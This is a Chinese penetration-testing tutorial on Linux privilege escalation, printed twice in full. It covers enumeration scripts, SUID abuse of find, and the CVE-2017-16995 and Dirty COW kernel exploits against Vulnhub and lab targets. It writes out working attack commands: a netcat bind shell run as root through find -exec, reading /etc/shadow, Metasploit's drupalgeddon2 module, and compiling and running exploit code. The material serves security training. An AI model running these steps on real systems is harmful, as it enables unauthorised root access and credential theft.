六十三.权限提升-Linux脏牛内核漏洞&SUID&信息收集
2022年 10月 29 日

BIGFISH

案例演示

  • 案例1:linux提权自动化脚本利用-4个脚本
  • 案例2:linux提权suid配合脚本演示-Aliyun
  • 案例3:linux提权本地配合内核漏洞演示-Mozhe-本地提权
  • 案例4:linux提权脏牛内核漏洞演示-Vulnhub,Aliyun

案例1:linux提权自动化脚本利用-4个脚本

两个信息收集:LinEnum,linuxprivchecker
两个漏洞探针:linux-exploit-suggester,linux-exploit-suggester2 ==》搜集suid、内核漏洞提权等漏洞

信息收集/漏洞探针主要关注点:SUID,定时任务,可能漏洞,第三方服务应用等

1、LinEnum——Linux枚举及权限提升检查工具

  • 下载链接:GitHub - rebootuser/LinEnum:脚本化本地 Linux 枚举和权限升级检查
  • 用法
    • 脚本先上传到目标服务器/tmp目录下(/tmp目录是临时目录,一般是可读写可执行的)
    • cd /tmp
    • chmod +x LinEnum.sh
    • ./LinEnum.sh
  • 主要检测以下几个大类的信息
    • 内核和发行版发布详情
    • 系统信息
    • 用户信息
    • 特权访问
    • 环境
    • 作业/任务
    • 服务
    • 一些web服务的版本信息
    • 默认/弱凭证
    • 搜索
    • 平台/软件特定测试

2、Linuxprivchecker——Linux 权限提升检查脚本

3、linux-exploit-suggester——Linux 提权审计工具

4、linux-exploit-suggester-2

案例2:linux提权suid配合脚本演示-Aliyun

漏洞成因:chmod u+s给与了suid、chmod u-s删除了suid

本来是普通用户执行普通程序,但是一旦给了程序suid权限,程序在运行中就会以root 权限执行,从而提升权限。

举例:test.sh原来的权限是-rwxr-xr-x,当执行chmod u+s test.sh命令后,它的权限就会变成-rwsr-xr-x。此时,即使你用普通用户身份运行test.sh文件,实际上它却是以root权限运行的。

提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用成功-GG

参考:https://pentestlab.blog/2017/09/25/suid-executables/

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

已知的可用来提权的程序如下:

使用方法:

  • <1>使用冰蝎,添加后门。msf+冰蝎配合反弹shell
  • <2>反弹成功,取得一个web权限
  • <3>探针是否有SUID(手工或脚本)。两种方法:脚本或者手工。
    • 方法1:脚本。上传LinEnum.sh文件并执行,发现了一些suid文件,并从中找到了可以用于提权的find。由于find被配置为使用 SUID 权限运行,那么所有通过 find 执行的命令都将以 root 身份执行。
    • 方法2:手工。有3条命令
      • #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
      • find / -perm -u=s -type f 2>/dev/null
      • find / -user root -perm -4000-print2>/dev/null
      • find / -user root -perm -4000-exec ls -ldb {} \;
  • <4>执行以下命令,确认以root身份运行。即 当我们使用 find pentestlab -exec <命令> \; 的形式运行命令时,使用的是root身份。

  • <5>接下来,执行以下命令,以root身份反弹shell。
    • find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
    • 然后本地连接端口,就会接收到反弹root shell,提权成功。
      • netcat 192.168.1.189 5555
      • id
      • cat /etc/shadow

案例3:linux提权本地配合内核漏洞演示-Mozhe-本地提权==》和windows利用内核溢出漏洞提权本质一样

提权过程:连接-获取可利用漏洞-下载并上传exp-编译exp-给权限执行-GG

  • <1>这里使用的演示环境为墨者学院的Ubuntu 16.04漏洞复现(CVE-2017-16995)演示环境。
  • <2>上传漏洞探针linux-exploit-suggester2并执行,发现了3个可能被利用的漏洞。
  • <3>尝试利用漏洞CVE-2017-16995。
    • 打开https://www.exploit-db.com/exploits/45010可以查看漏洞利用详情。
    • 下载exp:https://github.com/Jewel591/Privilege-Escalation
    • 上传 45010.c 到目标机器上进行编译,提权成功。
      • gcc 45010.c -o 45010
      • chmod +x 45010
      • ./45010
      • id

案例4:linux提权脏牛内核漏洞演示-Vulnhub,Aliyun

内核提权整个过程:vulnhub靶机-探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权-GG

内核漏洞提权过程:寻可用-下载exp-上传exp到/tmp-编译exp-执行(无权限用chmod)

  • <1>下载vulnhub靶机并在本地安装,安装后发现无密码没法登录。
    • 下载地址:https://www.vulnhub.com/entry/lampiao-1,249/
  • <2>探针目标
    • 打开kali,ifconfig找到自己的IP为192.168.215.133
    • 扫描同网段的IP地址,扫描出来一个80端口
      • nmap 192.168.215.0/24
    • 打开看一下,感觉可能有问题
    • 然后对80端口所在的192.168.76.141目标IP进行全端口扫描,又扫描出来一个1898端口。
      • nmap -p1-65535 192.168.215.138
      • 打开看一下,发现是一个web入口。
    • 拉到页面最下方,发现一行字:Powered by Drupal
  • <3>CMS漏洞利用
    • 打开msf,搜索Drupal,发现了一些漏洞利用。找一个脚本,尝试利用一下
      • search drupal
      • use exploit/unix/webapp/drupal_drupalgeddon2
      • set rhost 192.168.76.141
      • set rport 1898
      • exploit
    • 成功拿到web权限
  • <4>脚本探针提权漏洞+利用内核提权
    • 上传一个漏洞探针脚本linux-exploit-suggester
    • 执行脚本 探针一下,检测出一个脏牛漏洞。
    • 可以直接下载相关exp(缺点是下载后文件名字就是40611,需要手动修改后缀进行后续的执行)
      • mv CVE-2016-5195 40837.cpp
    • 这里我们从GitHub上下载一个exp,上传exp到目标服务器,编译,执行,成功修改root密码。
      • //exp下载地址:https://github.com/gbonacini/CVE-2016-5195
      • upload /tmp/40837.cpp /tmp/40837.cpp
      • g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow 40837.cpp -lutil
      • python -c 'import pty; pty.spawn("/bin/bash")'
      • ./dcow
      • 注意python 那句语句如果出错 则:#coding=UTF-8 python -c 'import pty;pyt.spawn("/bin/bash")'
    • 接下来就可以输入用户名密码登录,拿到flag。
  • <4>尝试在阿里云上利用脏牛漏洞exp提权,失败。(原因应该是内核版本已升级)
  • 注意:其他相关优秀资源:权限提升-linux提权手法总结.pdf(黑白天实验室总结)

涉及资源

  • https://github.com/rebootuser/LinEnum
  • https://www.vulnhub.com/entry/lampiao-1,249/
  • https://github.com/rebeyond/Behinder/releases
  • https://github.com/mzet-/linux-exploit-suggester
  • https://github.com/sleventyeleven/linuxprivchecker
  • https://pentestlab.blog/2017/09/25/suid-executables/
  • https://github.com/jondonas/linux-exploit-suggester-2
  • https://www.mozhe.cn/bug/detail/T3ZEbFljRmFKQTVjVitoV2JxUzV
    oQT09bW96aGUmozhe

六十三.权限提升-Linux脏牛内核漏洞&SUID&信息收集

案例演示

  • 案例1:linux提权自动化脚本利用-4个脚本
  • 案例2:linux提权suid配合脚本演示-Aliyun
  • 案例3:linux提权本地配合内核漏洞演示-Mozhe-本地提权
  • 案例4:linux提权脏牛内核漏洞演示-Vulnhub,Aliyun

案例1:linux提权自动化脚本利用-4个脚本

两个信息收集:LinEnum,linuxprivchecker
两个漏洞探针:linux-exploit-suggester,linux-exploit-suggester2 ==》搜集suid、内核漏洞提权等漏洞

信息收集/漏洞探针主要关注点:SUID,定时任务,可能漏洞,第三方服务应用等

1、LinEnum——Linux枚举及权限提升检查工具

  • 下载链接:GitHub - rebootuser/LinEnum:脚本化本地 Linux 枚举和权限升级检查
  • 用法
    • 脚本先上传到目标服务器/tmp目录下(/tmp目录是临时目录,一般是可读写可执行的)
    • cd /tmp
    • chmod +x LinEnum.sh
    • ./LinEnum.sh
  • 主要检测以下几个大类的信息
    • 内核和发行版发布详情
    • 系统信息
    • 用户信息
    • 特权访问
    • 环境
    • 作业/任务
    • 服务
    • 一些web服务的版本信息
    • 默认/弱凭证
    • 搜索
    • 平台/软件特定测试

2、Linuxprivchecker——Linux 权限提升检查脚本

3、linux-exploit-suggester——Linux 提权审计工具

4、linux-exploit-suggester-2

案例2:linux提权suid配合脚本演示-Aliyun

漏洞成因:chmod u+s给与了suid、chmod u-s删除了suid

本来是普通用户执行普通程序,但是一旦给了程序suid权限,程序在运行中就会以root 权限执行,从而提升权限。

举例:test.sh原来的权限是-rwxr-xr-x,当执行chmod u+s test.sh命令后,它的权限就会变成-rwsr-xr-x。此时,即使你用普通用户身份运行test.sh文件,实际上它却是以root权限运行的。

提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用成功-GG

参考:https://pentestlab.blog/2017/09/25/suid-executables/

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

已知的可用来提权的程序如下:

使用方法:

  • <1>使用冰蝎,添加后门。msf+冰蝎配合反弹shell
  • <2>反弹成功,取得一个web权限
  • <3>探针是否有SUID(手工或脚本)。两种方法:脚本或者手工。
    • 方法1:脚本。上传LinEnum.sh文件并执行,发现了一些suid文件,并从中找到了可以用于提权的find。由于find被配置为使用 SUID 权限运行,那么所有通过 find 执行的命令都将以 root 身份执行。
    • 方法2:手工。有3条命令
      • #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
      • find / -perm -u=s -type f 2>/dev/null
      • find / -user root -perm -4000-print2>/dev/null
      • find / -user root -perm -4000-exec ls -ldb {} \;
  • <4>执行以下命令,确认以root身份运行。即 当我们使用 find pentestlab -exec <命令> \; 的形式运行命令时,使用的是root身份。

  • <5>接下来,执行以下命令,以root身份反弹shell。
    • find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
    • 然后本地连接端口,就会接收到反弹root shell,提权成功。
      • netcat 192.168.1.189 5555
      • id
      • cat /etc/shadow

案例3:linux提权本地配合内核漏洞演示-Mozhe-本地提权==》和windows利用内核溢出漏洞提权本质一样

提权过程:连接-获取可利用漏洞-下载并上传exp-编译exp-给权限执行-GG

  • <1>这里使用的演示环境为墨者学院的Ubuntu 16.04漏洞复现(CVE-2017-16995)演示环境。
  • <2>上传漏洞探针linux-exploit-suggester2并执行,发现了3个可能被利用的漏洞。
  • <3>尝试利用漏洞CVE-2017-16995。
    • 打开https://www.exploit-db.com/exploits/45010可以查看漏洞利用详情。
    • 下载exp:https://github.com/Jewel591/Privilege-Escalation
    • 上传 45010.c 到目标机器上进行编译,提权成功。
      • gcc 45010.c -o 45010
      • chmod +x 45010
      • ./45010
      • id

案例4:linux提权脏牛内核漏洞演示-Vulnhub,Aliyun

内核提权整个过程:vulnhub靶机-探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权-GG

内核漏洞提权过程:寻可用-下载exp-上传exp到/tmp-编译exp-执行(无权限用chmod)

  • <1>下载vulnhub靶机并在本地安装,安装后发现无密码没法登录。
    • 下载地址:https://www.vulnhub.com/entry/lampiao-1,249/
  • <2>探针目标
    • 打开kali,ifconfig找到自己的IP为192.168.215.133
    • 扫描同网段的IP地址,扫描出来一个80端口
      • nmap 192.168.215.0/24
    • 打开看一下,感觉可能有问题
    • 然后对80端口所在的192.168.76.141目标IP进行全端口扫描,又扫描出来一个1898端口。
      • nmap -p1-65535 192.168.215.138
      • 打开看一下,发现是一个web入口。
    • 拉到页面最下方,发现一行字:Powered by Drupal
  • <3>CMS漏洞利用
    • 打开msf,搜索Drupal,发现了一些漏洞利用。找一个脚本,尝试利用一下
      • search drupal
      • use exploit/unix/webapp/drupal_drupalgeddon2
      • set rhost 192.168.76.141
      • set rport 1898
      • exploit
    • 成功拿到web权限
  • <4>脚本探针提权漏洞+利用内核提权
    • 上传一个漏洞探针脚本linux-exploit-suggester
    • 执行脚本 探针一下,检测出一个脏牛漏洞。
    • 可以直接下载相关exp(缺点是下载后文件名字就是40611,需要手动修改后缀进行后续的执行)
      • mv CVE-2016-5195 40837.cpp
    • 这里我们从GitHub上下载一个exp,上传exp到目标服务器,编译,执行,成功修改root密码。
      • //exp下载地址:https://github.com/gbonacini/CVE-2016-5195
      • upload /tmp/40837.cpp /tmp/40837.cpp
      • g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow 40837.cpp -lutil
      • python -c 'import pty; pty.spawn("/bin/bash")'
      • ./dcow
      • 注意python 那句语句如果出错 则:#coding=UTF-8 python -c 'import pty;pyt.spawn("/bin/bash")'
    • 接下来就可以输入用户名密码登录,拿到flag。
  • <4>尝试在阿里云上利用脏牛漏洞exp提权,失败。(原因应该是内核版本已升级)
  • 注意:其他相关优秀资源:权限提升-linux提权手法总结.pdf(黑白天实验室总结)

涉及资源

  • https://github.com/rebootuser/LinEnum
  • https://www.vulnhub.com/entry/lampiao-1,249/
  • https://github.com/rebeyond/Behinder/releases
  • https://github.com/mzet-/linux-exploit-suggester
  • https://github.com/sleventyeleven/linuxprivchecker
  • https://pentestlab.blog/2017/09/25/suid-executables/
  • https://github.com/jondonas/linux-exploit-suggester-2
  • https://www.mozhe.cn/bug/detail/T3ZEbFljRmFKQTVjVitoV2JxUzV
    oQT09bW96aGUmozhe

赞 (0)

猜您想看

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论